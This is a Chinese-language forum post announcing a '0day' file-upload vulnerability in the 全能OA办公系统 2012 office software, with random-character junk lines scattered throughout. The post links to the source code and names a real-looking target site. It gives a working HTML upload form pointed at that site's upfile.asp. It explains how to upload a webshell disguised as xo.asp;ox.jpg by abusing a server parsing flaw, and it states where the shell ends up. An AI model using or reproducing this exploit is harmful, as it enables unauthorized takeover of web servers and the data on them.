全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
5 _9 r: z; O  k6 |+ z, E! l3 b8 n2 f系统介绍：

4 X& w  C! {; Y" Z$ [全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
) ~8 f9 D, C4 `! V! ~5 {/ C
主要功能：
公司通告
  v2 ~) h/ ]' c工作计划
/ r) v* [( @! X" i1 S  L- n6 f" E通讯助理
: B2 q: @* W: u. `客户资源
我的公文
公文传阅
公共资源
资源预约
) I/ c5 A6 ]* m, p- i, o今日考勤
个人计划
! V* a* s+ ^4 H9 I6 f- [$ b9 H个人通讯录
个人基本档案
未读邮件
$ M  i# E8 P! f  u发邮件
4 s. T6 ]" b) E/ f  }1 M收件夹
寄件夹
7 a" _* v* O9 t# V! M. S网络硬盘
网络会议
: c2 t0 f% h+ X9 ?6 p) P网络调查
交流论坛

有兴趣测试的朋友可以下源码看看
) [: y4 `: Y" A8 _
源码下载：
4 W/ s" t* Y1 R, G5 S1 s! N, n
! R# |+ V% W" U7 d1 V& Ohttp://www.mycodes.net/30/4750.htm

漏洞介绍：

由upfile.asp上传文件漏洞引起
/ G9 I; x8 s/ @1 G
5 Q* {5 L3 N7 t) n# T测试方法：

6 w+ o4 z/ s$ w: O) a, `6 u; \8 r6 m使用名小子上传http://www.itlynn.com/upfile.asp即可

7 r8 U, y/ x6 e如果upfile.asp文件被删除不存在。
- D0 r5 c. Q0 g$ J
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

; r0 B; y- A# E如果存在那么将如下代码保存为upfile.html。

9 s( H) n- X9 l然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
  w4 O. P% l4 M7 R' C$ k
5 j% D' z1 T% e! D: u, n9 L1 h

1 L7 p5 ^$ {) k- J# F01 <table border='0' align="center" cellpadding="5">

, x1 k: |" ~! O$ {% F4 h( h02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

- I$ y3 r0 W, C7 m) k- W, S% h03 <tr>
, {* C; y+ I9 `# s" q% W1 s, u2 H
9 J2 F" ?7 U6 d4 y04             <td>报错：</td>
. ]6 h( N( R/ @6 L* U% ~
8 [. W( ?$ Z" }. `/ y9 p05             <td><input type='radio' name='errnumber' value='0'>
3 H8 l% Y. l4 L+ F1 L
06               自动更名
0 m# B" P" K" U; T
07               <input type='radio' name='errnumber' value='1' checked>
7 d* g3 i6 a& X+ ?: L4 S
08               报错方式

09               <input type='radio' name='errnumber' value='2'>
! T7 D1 \/ S6 N- K: _
10               直接覆盖</td>

7 e$ m! A% U* x3 q11           </tr>
* N6 N5 \* ^& }' F! d7 d& |, h" E+ Z% V
12           <tr>
# z3 P* w+ _4 @8 p5 G
13             <td>主题：</td>

: q+ ^& Y+ O4 a, R( G# V14             <td><input type='text' name='filename' size='30'></td>
( X" i% c7 ~1 v  J$ G% H6 {( D! T6 k
15           </tr>

, N7 B7 r: R* |3 o) x% f* z16           <tr>
0 T- x9 ]/ d5 g4 p0 \3 W
17             <td>文件：</td>
+ _( G5 e- D; P- L: K$ c: T' E
18             <td><input type="file"name="fruit"size="30"></td>
: _# H* w8 N4 o) r( K9 I
( [6 U1 A( Q( T" j19           </tr>
2 C- `( k# v. ~
20           <tr>

21             <td valign='top'>简介：</td>
3 I* _0 ~, E( o/ t: C7 I5 Z
# a/ _1 m) C, u0 q" ?22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>
5 {, Y* i$ V# }: R+ _
24   

; s* g( J% f. s- m7 s. A) D25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
* X: z$ \; s/ H* ]$ s6 ^5 g' u) P
26           </tr>

27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。


# U* Y1 v8 H, L9 z1 b
7 j, `3 g4 s/ A* K6 ~上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
8 K; P6 I- |2 z; x
- V! J4 R  `& b' q1 `% q此漏洞需要配合解析漏洞利用。

9 `* Z2 R3 C( A! O9 \9 `! ?) w